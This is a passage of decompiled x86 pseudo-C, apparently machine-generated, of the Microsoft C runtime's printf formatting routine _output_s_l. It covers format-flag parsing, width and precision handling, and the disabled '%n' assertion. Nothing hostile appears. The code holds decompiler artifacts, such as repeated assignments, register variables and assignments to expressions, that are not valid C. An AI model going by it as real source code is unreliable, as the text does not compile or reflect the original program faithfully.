																	_t547 =  *(_t557 + 0xc) + 1;
																	__eflags = _t547;
																	 *(_t557 + 0xc) = _t547;
																	asm("sbb eax, eax");
																	 *(_t557 - 0x27c) =  ~( ~( *(_t557 - 0x251)));
																	if(_t547 == 0) {
																		_push(L"(ch != _T(\'\\0\'))");
																		_push(0);
																		_push(0x486);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		_t521 = L0041E220();
																		_t562 = _t562 + 0x14;
																		__eflags = _t521 - 1;
																		if(_t521 == 1) {
																			asm("int3");
																		}
																	}
																	L22:
																	__eflags =  *(_t557 - 0x27c);
																	if( *(_t557 - 0x27c) != 0) {
																		goto L24;
																	} else {
																		 *((intOrPtr*)(L00422D10(_t541))) = 0x16;
																		E00422AA0(_t528, _t541, _t555, _t556, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																		 *(_t557 - 0x2f4) = 0xffffffff;
																		E0041ACC0(_t557 - 0x40);
																		_t499 =  *(_t557 - 0x2f4);
																		goto L229;
																	}
																}
															case 1:
																L25:
																 *(__ebp - 0x2c) = 0;
																__edx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																__eax =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__ecx =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) = __ecx;
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L218;
															case 2:
																L26:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																__eflags =  *(__ebp - 0x31c) - 0x10;
																if( *(__ebp - 0x31c) > 0x10) {
																	goto L33;
																}
																L27:
																__ecx =  *(__ebp - 0x31c);
																_t72 = __ecx + 0x435448; // 0x498d04
																__edx =  *_t72 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00435430))) {
																	case 0:
																		goto L30;
																	case 1:
																		goto L31;
																	case 2:
																		goto L29;
																	case 3:
																		goto L28;
																	case 4:
																		goto L32;
																	case 5:
																		goto L33;
																}
															case 3:
																L34:
																__edx =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__eax =  *(__ebp - 0x18);
																	__eax =  *(__ebp - 0x18) * 0xa;
																	__eflags = __eax;
																	__ecx =  *((char*)(__ebp - 0x251));
																	_t96 = __ecx - 0x30; // -48
																	__edx = __eax + _t96;
																	 *(__ebp - 0x18) = __eax + _t96;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00428200(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	}
																}
																goto L218;
															case 4:
																L40:
																 *(__ebp - 0x30) = 0;
																goto L218;
															case 5:
																L41:
																__eax =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__edx =  *(__ebp - 0x30);
																	__edx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __edx;
																	_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																	__ecx = __edx + _t107;
																	 *(__ebp - 0x30) = __ecx;
																} else {
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00428200(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L218;
															case 6:
																L47:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																__eflags =  *(__ebp - 0x320) - 0x2e;
																if( *(__ebp - 0x320) > 0x2e) {
																	L70:
																	goto L218;
																}
																L48:
																__ecx =  *(__ebp - 0x320);
																_t115 = __ecx + 0x435470; // 0x4c7e9003
																__edx =  *_t115 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M0043545C))) {
																	case 0:
																		L53:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x36;
																		if( *( *(__ebp + 0xc)) != 0x36) {
																			L56:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x33;
																			if( *( *(__ebp + 0xc)) != 0x33) {
																				L59:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x64;
																				if( *( *(__ebp + 0xc)) == 0x64) {
																					L65:
																					L67:
																					goto L70;
																				}
																				L60:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x69;
																				if( *__ecx == 0x69) {
																					goto L65;
																				}
																				L61:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x6f;
																				if(__ecx == 0x6f) {
																					goto L65;
																				}
																				L62:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x75;
																				if( *( *(__ebp + 0xc)) == 0x75) {
																					goto L65;
																				}
																				L63:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x78;
																				if( *__ecx == 0x78) {
																					goto L65;
																				}
																				L64:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x58;
																				if(__ecx != 0x58) {
																					 *(__ebp - 0x25c) = 0;
																					goto L18;
																				}
																				goto L65;
																			}
																			L57:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x32;
																			if( *((char*)(__ecx + 1)) != 0x32) {
																				goto L59;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) = __ecx;
																				goto L67;
																			}
																		}
																		L54:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x34;
																		if( *((char*)(__ecx + 1)) != 0x34) {
																			goto L56;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) = __ecx;
																			goto L67;
																		}
																	case 1:
																		L68:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		goto L70;
																	case 2:
																		L49:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6c;
																		if(__ecx != 0x6c) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L70;
																	case 3:
																		L69:
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		goto L70;
																	case 4:
																		goto L70;
																}
															case 7:
																L71:
																__ecx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x324) = __ecx;
																 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																__eflags =  *(__ebp - 0x324) - 0x37;
																if( *(__ebp - 0x324) > 0x37) {
																	while(1) {
																		L190:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
																}
																L72:
																_t156 =  *(__ebp - 0x324) + 0x4354dc; // 0xcccccc0d
																__ecx =  *_t156 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M004354A0))) {
																	case 0:
																		L123:
																		 *(__ebp - 0x2c) = 1;
																		__ecx =  *((char*)(__ebp - 0x251));
																		__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																		__eflags = __ecx;
																		 *((char*)(__ebp - 0x251)) = __cl;
																		goto L124;
																	case 1:
																		L73:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		}
																		goto L75;
																	case 2:
																		L88:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L90;
																	case 3:
																		L147:
																		 *(__ebp - 0x260) = 7;
																		L148:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			 *(__ebp - 0x14) = 0x30;
																			 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																			__eflags =  *(__ebp - 0x260) + 0x51;
																			 *((char*)(__ebp - 0x13)) = __al;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L153;
																	case 4:
																		L81:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x288) = E00428200(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x288);
																		if( *(__ebp - 0x288) == 0) {
																			L83:
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
																			L87:
																			goto L190;
																		}
																		L82:
																		__ecx =  *(__ebp - 0x288);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			L84:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x288);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x288);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x288);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x288);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L87;
																		}
																		goto L83;
																	case 5:
																		L124:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__eax = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L126:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L129:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L131:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B760(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__eax =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__eax =  *(__ebp + 0x14);
																				__ecx =  *(__eax - 8);
																				__edx =  *(__eax - 4);
																				 *(__ebp - 0x2a8) =  *(__eax - 8);
																				 *(__ebp - 0x2a4) =  *(__eax - 4);
																				__ecx = __ebp - 0x40;
																				_push(E0041ACF0(__ebp - 0x40));
																				__eax =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__ecx =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__edx =  *((char*)(__ebp - 0x251));
																				_push( *((char*)(__ebp - 0x251)));
																				__eax =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__ecx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__edx = __ebp - 0x2a8;
																				_push(__ebp - 0x2a8);
																				__eax =  *0x440374; // 0x4b3bc1ec
																				__eax =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041ACF0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0x4b248c6c
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																				if( *((char*)(__ebp - 0x251)) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041ACF0(__ebp - 0x40));
																						__eax =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__ecx =  *0x44037c; // 0x4b24956c
																						E00424560(__ecx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__edx =  *(__ebp - 4);
																				__eax =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__edx =  *(__ebp - 4);
																					__edx =  *(__ebp - 4) + 1;
																					__eflags = __edx;
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
																				do {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				} while ( *(__ebp - 0x324) > 0x37);
																				goto L72;
																			}
																			L127:
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags = __ecx - 0x67;
																			if(__ecx != 0x67) {
																				goto L129;
																			}
																			L128:
																			 *(__ebp - 0x30) = 1;
																			goto L131;
																		}
																		L125:
																		 *(__ebp - 0x30) = 6;
																		goto L131;
																	case 6:
																		L75:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			__ebp + 0x14 = E00428200(__ebp + 0x14);
																			 *(__ebp - 0x284) = __ax;
																			__cl =  *(__ebp - 0x284);
																			 *(__ebp - 0x248) = __cl;
																			 *(__ebp - 0x24) = 1;
																		} else {
																			 *(__ebp - 0x280) = 0;
																			__edx = __ebp + 0x14;
																			__eax = E00428240(__ebp + 0x14);
																			 *(__ebp - 0x258) = __ax;
																			__eax =  *(__ebp - 0x258) & 0x0000ffff;
																			__ecx = __ebp - 0x248;
																			__edx = __ebp - 0x24;
																			 *(__ebp - 0x280) = E004340D0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																			__eflags =  *(__ebp - 0x280);
																			if( *(__ebp - 0x280) != 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	case 7:
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		L153:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428200(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428200(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428200(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2b4) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428200(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428220(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b8) = E00428220(__ebp + 0x14);
																			 *(__ebp - 0x2b4) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L170;
																		}
																	case 8:
																		L109:
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x298) = E00428200(__ebp + 0x14);
																		__eax = E00433DB0();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L119:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				__edx =  *(__ebp - 0x298);
																				__eax =  *(__ebp - 0x24c);
																				 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																			} else {
																				__eax =  *(__ebp - 0x298);
																				 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		}
																		L110:
																		__edx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x32c) = 0;
																		} else {
																			 *(__ebp - 0x32c) = 1;
																		}
																		__eax =  *(__ebp - 0x32c);
																		 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																		__eflags =  *(__ebp - 0x29c);
																		if( *(__ebp - 0x29c) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041E220();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x29c);
																		if( *(__ebp - 0x29c) != 0) {
																			L118:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		} else {
																			L117:
																			 *((intOrPtr*)(L00422D10(__ecx))) = 0x16;
																			__eax = E00422AA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x2f8) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041ACC0(__ecx);
																			__eax =  *(__ebp - 0x2f8);
																			goto L229;
																		}
																	case 9:
																		L151:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		while(1) {
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428200(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428200(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428200(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428200(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428220(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428220(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																			goto L166;
																		}
																	case 0xa:
																		L146:
																		 *(__ebp - 0x30) = 8;
																		goto L147;
																	case 0xb:
																		L90:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x328) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x328) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x328);
																		 *(__ebp - 0x290) =  *(__ebp - 0x328);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E00428200(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			L101:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x28c) =  *(__ebp - 4);
																			while(1) {
																				L104:
																				__ecx =  *(__ebp - 0x290);
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L105:
																				__eax =  *(__ebp - 0x28c);
																				__ecx =  *( *(__ebp - 0x28c));
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L106:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																			}
																			L107:
																			__eax =  *(__ebp - 0x28c);
																			__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																			__eflags = __eax;
																			 *(__ebp - 0x24) = __eax;
																			goto L108;
																		} else {
																			L94:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x440f84; // 0x404468
																				 *(__ebp - 4) = __eax;
																			}
																			 *(__ebp - 0xc) = 1;
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x294) =  *(__ebp - 4);
																			while(1) {
																				L97:
																				__edx =  *(__ebp - 0x290);
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				__eflags =  *(__ebp - 0x290);
																				if( *(__ebp - 0x290) == 0) {
																					break;
																				}
																				L98:
																				__ecx =  *(__ebp - 0x294);
																				__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L99:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																			}
																			L100:
																			 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																			__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
